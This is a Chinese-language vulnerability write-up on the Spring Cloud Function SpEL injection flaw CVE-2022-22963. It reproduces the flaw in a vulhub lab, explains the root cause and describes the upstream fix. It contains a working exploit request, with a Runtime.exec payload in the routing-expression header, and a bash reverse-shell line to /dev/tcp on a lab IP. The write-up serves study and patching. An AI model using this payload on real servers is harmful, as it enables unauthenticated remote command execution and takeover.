一、简介
Spring Cloud Function 是基于 Spring Boot的函数计算框架。该项目致力于促进函数为主的开发单元,它抽象出所有传输细节和基础架构,并提供一个通用的模型,用于在各种平台上部署基于函数的软件。在Spring Cloud Function相关版本,存在SpEL表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL表达式,最终执行任意命令,获取服务器权限。
二、影响版本
3.0.0 <= Spring Cloud Function <= 3.2.2
三、漏洞复现
cd /vulhub/spring/CVE-2022-22963
docker-compose up -d
访问页面
数据包截取如下
修改数据包,将curl命令Base64加密
此处的路由是在Spring项目的application.properties中将spring.cloud.function.definition设置为functionRouter,视情况改动
POST /functionRouter HTTP/1.1
Content-Type: application/x-www-form-urlencoded
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,加密后的命令}|{base64,-d}|{bash,-i}")
ping back接收到消息,漏洞复现成功
四、漏洞利用
将上述命令更改为
bash -i >& /dev/tcp/192.168.16.129/1234 0>&1
后进行加密,传输数据
反弹shell成功
五、漏洞原理
Spring Cloud 是一系列框架的集合,内部包含了许多框架,这些框架互相协作,共同来构建分布式系统。利用这些组件,可以非常方便地构建一个分布式系统。SpringCloudFunction就是一个SpringBoot开发的Servless中间件(FAAS)。
官方文档中提到,通过设置spring.cloud.function.definition便可以使用户使用spring.cloud.function.routing-expression标头执行Spring表达语言SpEL。
https://docs.spring.io/spring-cloud-function/docs/3.2.2/reference/html/spring-cloud-function.html#_function_routing_and_filterin
便成为了SpEL注入的关键。
六、修复方式
查看DIFF
https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
与上版本对比,对于SpEL的命令传入增加了“是否从header而来”的判断(isViaHeader),若是则调用的是新增的headerEvalContext方法;v3.2.2时不做判断直接调用StardardEvaluationContext,而v3.2.3调用SimpleEvaluationContext.
两者的区别在于前者支持 SpEL 表达式的全部特性,后者相当于一个沙盒,限制了很多功能,如对 Java 类的引用等。因此通过将 StandardEvaluationContext 类替换为 SimpleEvaluationContext 类,可以限制执行注入的 SpEL 表达式。